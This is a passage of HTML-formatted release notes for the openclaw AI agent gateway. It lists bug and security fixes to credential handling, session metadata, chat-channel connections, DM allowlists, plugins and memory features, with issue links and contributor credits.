<li>Agents/Claude CLI: reuse already-cached macOS Keychain credentials for no-prompt Claude credential reads, so doctor/runtime checks do not miss fresh interactive Claude auth. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344788745" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73682" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73682/hovercard" href="https://github.com/openclaw/openclaw/issues/73682">#73682</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RyanSandoval/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RyanSandoval">@RyanSandoval</a>.</li>
<li>Agents/Claude CLI doctor: scope workspace and project-dir checks to agents that actually use the Claude CLI runtime, so non-default Claude agents no longer make the default agent look Claude-backed. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347196394" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73903" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73903/hovercard" href="https://github.com/openclaw/openclaw/issues/73903">#73903</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bobfreeman1989/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bobfreeman1989">@bobfreeman1989</a>.</li>
<li>Gateway/sessions: expose effective agent runtime metadata on session rows, <code>sessions.patch</code>, and local <code>openclaw sessions --json</code>, while keeping Claude CLI-backed rows on the canonical model provider so runtime backend and model identity are no longer conflated. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4339520660" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73090" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73090/hovercard" href="https://github.com/openclaw/openclaw/issues/73090">#73090</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vishutdhar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vishutdhar">@vishutdhar</a>.</li>
<li>Gateway/auth status: scope external CLI credential overlays to configured providers, runtimes, or profiles and keep status reads off new Keychain prompts, so single-provider Gateway configs no longer probe unrelated Claude/Codex/MiniMax auth on startup. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4347237976" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73908" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73908/hovercard" href="https://github.com/openclaw/openclaw/issues/73908">#73908</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Ailuras/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Ailuras">@Ailuras</a>.</li>
<li>Agents/runtime status: expose effective agent runtime metadata in <code>agents.list</code>, Control UI agent panels, and <code>/agents</code>, and avoid rendering stale or cumulative CLI token totals as live context usage. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344570308" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73660" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73660/hovercard" href="https://github.com/openclaw/openclaw/issues/73660">#73660</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343419061" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73578" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73578/hovercard" href="https://github.com/openclaw/openclaw/issues/73578">#73578</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4072029751" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45268" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/45268/hovercard" href="https://github.com/openclaw/openclaw/issues/45268">#45268</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/spartman/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/spartman">@spartman</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DashLabsDev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DashLabsDev">@DashLabsDev</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xyooz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xyooz">@xyooz</a>.</li>
<li>Agents/transcripts: strip empty assistant text blocks while preserving valid text, images, and signatures, so Anthropic-style providers no longer reject sanitized transcript turns. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344345617" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73640" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73640/hovercard" href="https://github.com/openclaw/openclaw/issues/73640">#73640</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jowhee327/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jowhee327">@jowhee327</a>.</li>
<li>Gateway/sessions: preserve session keys on hidden lifecycle events so channel-routed runs still persist terminal session state and do not strand session status as running after Codex turn completion. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cathrynlavery/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cathrynlavery">@cathrynlavery</a>.</li>
<li>Providers/Bedrock: omit deprecated <code>temperature</code> for Claude Opus 4.7 Bedrock model ids, named and application inference profiles, including dotted <code>opus-4.7</code> refs, and classify the nested validation response for failover. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344649937" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73663" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73663/hovercard" href="https://github.com/openclaw/openclaw/issues/73663">#73663</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bstanbury/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bstanbury">@bstanbury</a>.</li>
<li>Gateway: raise the preauth/connect-challenge timeout to 15s so cold CLI starts on slower hosts have more time to process the WebSocket challenge before the Gateway closes the connection. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4111642035" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51469" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51469/hovercard" href="https://github.com/openclaw/openclaw/issues/51469">#51469</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343737030" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73592" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73592/hovercard" href="https://github.com/openclaw/openclaw/issues/73592">#73592</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4213272898" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62060" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62060/hovercard" href="https://github.com/openclaw/openclaw/pull/62060">#62060</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/GothicFox/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/GothicFox">@GothicFox</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jackychen-png/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jackychen-png">@jackychen-png</a>.</li>
<li>CLI/status: fall back to a bounded local <code>status</code> RPC when loopback detail probes time out or report unknown capability, so reachable local gateways are no longer marked unreachable by slow read diagnostics. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342797952" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73535" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73535/hovercard" href="https://github.com/openclaw/openclaw/issues/73535">#73535</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4083597939" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48360/hovercard" href="https://github.com/openclaw/openclaw/issues/48360">#48360</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4221198235" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62762" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62762/hovercard" href="https://github.com/openclaw/openclaw/issues/62762">#62762</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4110811160" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51357" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51357/hovercard" href="https://github.com/openclaw/openclaw/issues/51357">#51357</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4050661491" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42019" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42019/hovercard" href="https://github.com/openclaw/openclaw/issues/42019">#42019</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RacecarGuy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RacecarGuy">@RacecarGuy</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/justinschille/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/justinschille">@justinschille</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DJBlackhawk/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DJBlackhawk">@DJBlackhawk</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/tianyaqpzm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/tianyaqpzm">@tianyaqpzm</a>, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xrsydn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xrsydn">@0xrsydn</a>.</li>
<li>CLI/gateway: reuse cached paired-device auth during <code>gateway probe</code> and report post-connect diagnostic failures as degraded reachability, so healthy local gateways are no longer marked unreachable after loopback auth or read timeouts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4083597939" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48360" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48360/hovercard" href="https://github.com/openclaw/openclaw/issues/48360">#48360</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RacecarGuy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RacecarGuy">@RacecarGuy</a>.</li>
<li>Channels/Discord: give Discord Gateway WebSocket handshakes a 30s timeout so stalled TLS/network transitions emit an error and Carbon can continue its reconnect loop instead of leaving the bot silent until restart. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4097993139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50046" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/50046/hovercard" href="https://github.com/openclaw/openclaw/pull/50046">#50046</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/codexGW/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/codexGW">@codexGW</a>.</li>
<li>Mattermost/WebSocket: send protocol ping/pong keepalives and terminate stale sessions when pongs stop arriving, so silent TCP drops reconnect instead of leaving monitoring idle. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4049689741" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/41837" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/41837/hovercard" href="https://github.com/openclaw/openclaw/issues/41837">#41837</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4169293678" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57621" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57621/hovercard" href="https://github.com/openclaw/openclaw/pull/57621">#57621</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098800956" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50138" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50138/hovercard" href="https://github.com/openclaw/openclaw/issues/50138">#50138</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065388815" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44160" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44160/hovercard" href="https://github.com/openclaw/openclaw/issues/44160">#44160</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4108428334" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51104" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51104/hovercard" href="https://github.com/openclaw/openclaw/issues/51104">#51104</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JasonWang1124/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JasonWang1124">@JasonWang1124</a>.</li>
<li>Channels/Telegram: suppress standalone failed edit/write warning payloads when a user-facing assistant error reply already covers the turn, while keeping unresolved mutating failures visible behind success-looking or suppressed-error replies. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040841536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39631" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39631/hovercard" href="https://github.com/openclaw/openclaw/issues/39631">#39631</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345454858" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73750" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73750/hovercard" href="https://github.com/openclaw/openclaw/pull/73750">#73750</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040858007" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39636" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39636/hovercard" href="https://github.com/openclaw/openclaw/pull/39636">#39636</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041006323" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39717" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39717/hovercard" href="https://github.com/openclaw/openclaw/pull/39717">#39717</a>; leaves <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040278873" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39406" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39406/hovercard" href="https://github.com/openclaw/openclaw/issues/39406">#39406</a> for configurable delivery policy. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a> and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bortlesboat/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bortlesboat">@Bortlesboat</a>.</li>
<li>Control UI/agents: persist the Set Default action through <code>agents.list[].default</code> instead of writing the unsupported <code>agents.defaultId</code> field, so saved default-agent changes survive config validation. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4250028068" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65565" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65565/hovercard" href="https://github.com/openclaw/openclaw/issues/65565">#65565</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4333057256" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72585" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72585/hovercard" href="https://github.com/openclaw/openclaw/pull/72585">#72585</a>. Thanks @luyao618.</li>
<li>NVIDIA/NIM: persist the <code>NVIDIA_API_KEY</code> provider marker and mark bundled NVIDIA Chat Completions models as string-content compatible, so NIM models load from <code>models.json</code> and OpenAI-compatible subagent calls send plain text content. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338530888" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73013" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73013/hovercard" href="https://github.com/openclaw/openclaw/issues/73013">#73013</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098604940" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50107" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50107/hovercard" href="https://github.com/openclaw/openclaw/issues/50107">#50107</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4338532925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73014" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73014/hovercard" href="https://github.com/openclaw/openclaw/issues/73014">#73014</a>. Thanks @bautrey, @iot2edge, @ifearghal, and @futhgar.</li>
<li>Channels/Discord: let text-only configs drop the <code>GuildVoiceStates</code> gateway intent and expose a bounded <code>/gateway/bot</code> metadata timeout with rate-limited fallback logs, reducing idle CPU and warning floods. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345114420" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73709" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73709/hovercard" href="https://github.com/openclaw/openclaw/issues/73709">#73709</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343589386" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73585" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73585/hovercard" href="https://github.com/openclaw/openclaw/issues/73585">#73585</a>. Thanks @sanchezm86 and @trac3r00.</li>
<li>Agents/sessions: mark same-turn <code>sessions_send</code> and A2A reply prompts with an inter-session <code>isUser=false</code> envelope before they reach the model, so foreign session output no longer lands as bare active user text. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345004992" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73702" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73702/hovercard" href="https://github.com/openclaw/openclaw/issues/73702">#73702</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343780208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73595/hovercard" href="https://github.com/openclaw/openclaw/issues/73595">#73595</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344203540" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73622" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73622/hovercard" href="https://github.com/openclaw/openclaw/issues/73622">#73622</a>. Thanks @alvelda.</li>
<li>Channels/Telegram: fail closed when account-level public DM settings conflict with a restrictive top-level <code>allowFrom</code>, and require an effective wildcard before <code>dmPolicy="open"</code> behaves as public access. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345556370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73756/hovercard" href="https://github.com/openclaw/openclaw/issues/73756">#73756</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @Hilo-Hilo and @xace1825.</li>
<li>Channels/security: move open-DM allowlist semantics into the shared policy helpers and align Discord, Slack, Mattermost, Matrix, Feishu, LINE, IRC, Google Chat, Zalo, Zalo User, QQ Bot, and Synology Chat so <code>dmPolicy="open"</code> is public only with an effective wildcard and otherwise still respects sender allowlists. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4345556370" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73756" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73756/hovercard" href="https://github.com/openclaw/openclaw/issues/73756">#73756</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @Hilo-Hilo and @xace1825.</li>
<li>ACP/tasks: sweep orphaned parent-owned ACP sessions whose task records are gone, preserving bound persistent sessions but clearing unbound stale ACPX metadata so old child sessions cannot silently respawn into chat. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344064139" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73609" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73609/hovercard" href="https://github.com/openclaw/openclaw/issues/73609">#73609</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joerod26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joerod26">@joerod26</a>.</li>
<li>Outbound/security: strip known internal runtime scaffolding such as <code>&lt;system-reminder&gt;</code> and <code>&lt;previous_response&gt;</code> at the final channel delivery boundary and keep Discord output on targeted tag stripping, so degraded harness replies cannot leak those tags to users. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343780208" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73595" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73595/hovercard" href="https://github.com/openclaw/openclaw/issues/73595">#73595</a>. Thanks @gabrielexito-stack and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/martingarramon/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/martingarramon">@martingarramon</a>.</li>
<li>Security/Telegram: load Telegram security adapters in read-only audit/doctor, audit malformed Telegram DM <code>allowFrom</code> entries even when groups are disabled, and keep allowlist DM audits from counting stale pairing-store senders, so public/shared-DM risk checks stay accurate. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4344960552" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73698" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73698/hovercard" href="https://github.com/openclaw/openclaw/issues/73698">#73698</a>. Thanks @xace1825.</li>
<li>Plugins: remove hidden manifest, provider-owner, bootstrap, and channel metadata caches so plugin installs, manifest edits, and bundled-root changes are visible on the next metadata read while keeping runtime/module loader caches for actual plugin code. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>CLI/plugins: use plugin metadata snapshots for install slot selection and add opt-in plugin lifecycle timing traces, so plugin install avoids runtime-loading the plugin registry for metadata-only decisions. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/shakkernerd/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/shakkernerd">@shakkernerd</a>.</li>
<li>fix(plugins): restrict bundled plugin dir resolution to trusted package roots. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340652676" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73275" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73275/hovercard" href="https://github.com/openclaw/openclaw/pull/73275">#73275</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>fix(security): prevent workspace PATH injection via service env and trash helpers. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4340617524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73264" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73264/hovercard" href="https://github.com/openclaw/openclaw/pull/73264">#73264</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Active Memory: allow <code>allowedChatTypes</code> to include explicit portal/webchat sessions and classify <code>agent:...:explicit:...</code> session keys before opaque session ids can shadow the chat type. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4252129588" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65775" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65775/hovercard" href="https://github.com/openclaw/openclaw/issues/65775">#65775</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4259069037" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66285" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66285/hovercard" href="https://github.com/openclaw/openclaw/pull/66285">#66285</a>) Thanks @Lidang-Jiang.</li>
<li>Active Memory: allow the hidden recall sub-agent to use both <code>memory_recall</code> and the legacy <code>memory_search</code>/<code>memory_get</code> memory tool contract, so bundled <code>memory-lancedb</code> recall works without breaking the default <code>memory-core</code> path. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4342562900" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73502" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/73502/hovercard" href="https://github.com/openclaw/openclaw/issues/73502">#73502</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4343523222" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/73584" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/73584/hovercard" href="https://github.com/openclaw/openclaw/pull/73584">#73584</a>) Thanks @Takhoffman.</li>
<li>fix(device-pairing): validate callerScopes against resolved token scopes on repair [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337345824" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72925" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72925/hovercard" href="https://github.com/openclaw/openclaw/pull/72925">#72925</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
<li>Active Memory docs: document the <code>cacheTtlMs</code> 1000-120000 ms range and 15000 ms default so setup snippets do not lead users past the schema limit. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251274400" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65708" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65708/hovercard" href="https://github.com/openclaw/openclaw/issues/65708">#65708</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4251576914" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65737" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65737/hovercard" href="https://github.com/openclaw/openclaw/pull/65737">#65737</a>) Thanks @WuKongAI-CMU.</li>
<li>fix(agents): canonicalize provider aliases in byProvider tool policy lookup [AI]. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4337295525" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72917" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/72917/hovercard" href="https://github.com/openclaw/openclaw/pull/72917">#72917</a>) Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/pgondhi987/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/pgondhi987">@pgondhi987</a>.</li>
